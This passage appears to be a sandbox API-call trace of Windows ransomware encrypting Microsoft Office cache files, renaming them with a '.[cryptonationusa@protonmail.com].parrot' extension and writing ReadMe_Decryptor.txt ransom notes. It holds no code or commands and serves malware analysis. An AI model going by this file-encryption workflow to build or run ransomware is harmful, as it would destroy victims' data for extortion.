[0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5b0) returned 0x5da330 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5f4c88 [0047.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb50) returned 0x5edba0 [0047.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5da330 | out: hHeap=0x540000) returned 1 [0047.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0047.162] GetLastError () returned 0x0 [0047.162] SetLastError (dwErrCode=0x0) [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0047.162] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0047.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0047.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d0920 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d30d0 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x5eb458 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x28d4ec8 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d4ec8 | out: hHeap=0x540000) returned 1 [0047.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x28d7a10 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0047.163] WriteFile (in: hFile=0x320, lpBuffer=0x28d7a10*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x28d7a10*, lpNumberOfBytesWritten=0x235f1e8*=0x6c8, lpOverlapped=0x0) returned 1 [0047.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0047.163] UnlockFile (hFile=0x320, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.163] CloseHandle (hObject=0x320) returned 1 [0047.164] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0047.164] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1230 [0047.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0047.164] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0047.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1230 | out: hHeap=0x540000) returned 1 [0047.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0047.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0047.165] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0047.165] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0047.165] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0047.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0047.166] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0047.167] GetFileType (hFile=0x320) returned 0x1 [0047.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0047.177] lstrcmpW (lpString1="PubLR.cab", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0047.177] GetFileSize (in: hFile=0x320, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x97f3f4 [0047.177] LockFile (hFile=0x320, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x97f50c, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.178] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0047.178] ReadFile (in: hFile=0x320, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0047.202] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.203] ReadFile (in: hFile=0x320, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0047.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0047.215] GetLastError () returned 0x0 [0047.215] SetLastError (dwErrCode=0x0) [0047.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0047.215] GetLastError () returned 0x0 [0047.215] SetLastError (dwErrCode=0x0) [0047.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.215] GetLastError () returned 0x0 [0047.215] SetLastError (dwErrCode=0x0) [0047.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0047.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0047.332] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0047.332] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0047.332] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0047.332] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.332] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x2919e10 [0047.333] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0047.333] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x2921e50 [0047.334] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0047.334] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x61c990 [0047.335] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2921e50 | out: hHeap=0x540000) returned 1 [0047.336] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x2919e10 [0047.337] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0047.341] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0047.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0047.349] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x34b0020 [0047.357] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x26c0020 | out: hHeap=0x540000) returned 1 [0047.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0047.369] GetLastError () returned 0x0 [0047.369] SetLastError (dwErrCode=0x0) [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0047.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0047.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0047.369] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.369] WriteFile (in: hFile=0x320, lpBuffer=0x562228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x562228*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0047.369] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.369] WriteFile (in: hFile=0x320, lpBuffer=0x34b0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x34b0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0047.373] UnlockFile (hFile=0x320, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x97f50c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.373] CloseHandle (hObject=0x320) returned 1 [0050.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0050.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1230 [0050.447] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0050.448] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0050.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1230 | out: hHeap=0x540000) returned 1 [0050.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0050.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x34b0020 | out: hHeap=0x540000) returned 1 [0050.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0050.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0050.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0050.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0050.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0050.521] GetFileType (hFile=0x310) returned 0x1 [0050.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0050.532] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0050.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0050.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0050.532] lstrcmpW (lpString1="Setup.xml", lpString2="ReadMe_Decryptor.txt") returned 1 [0050.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0050.533] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x648 [0050.533] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x760, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.533] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0050.533] ReadFile (in: hFile=0x310, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0050.535] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.535] ReadFile (in: hFile=0x310, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x648, lpOverlapped=0x0) returned 1 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0050.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0050.535] GetLastError () returned 0x0 [0050.535] SetLastError (dwErrCode=0x0) [0050.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0050.535] GetLastError () returned 0x0 [0050.535] SetLastError (dwErrCode=0x0) [0050.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0050.535] GetLastError () returned 0x0 [0050.535] SetLastError (dwErrCode=0x0) [0050.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x650) returned 0x5f0780 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc90) returned 0x28d7a10 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.536] GetLastError () returned 0x0 [0050.536] SetLastError (dwErrCode=0x0) [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0050.536] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0050.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0050.537] 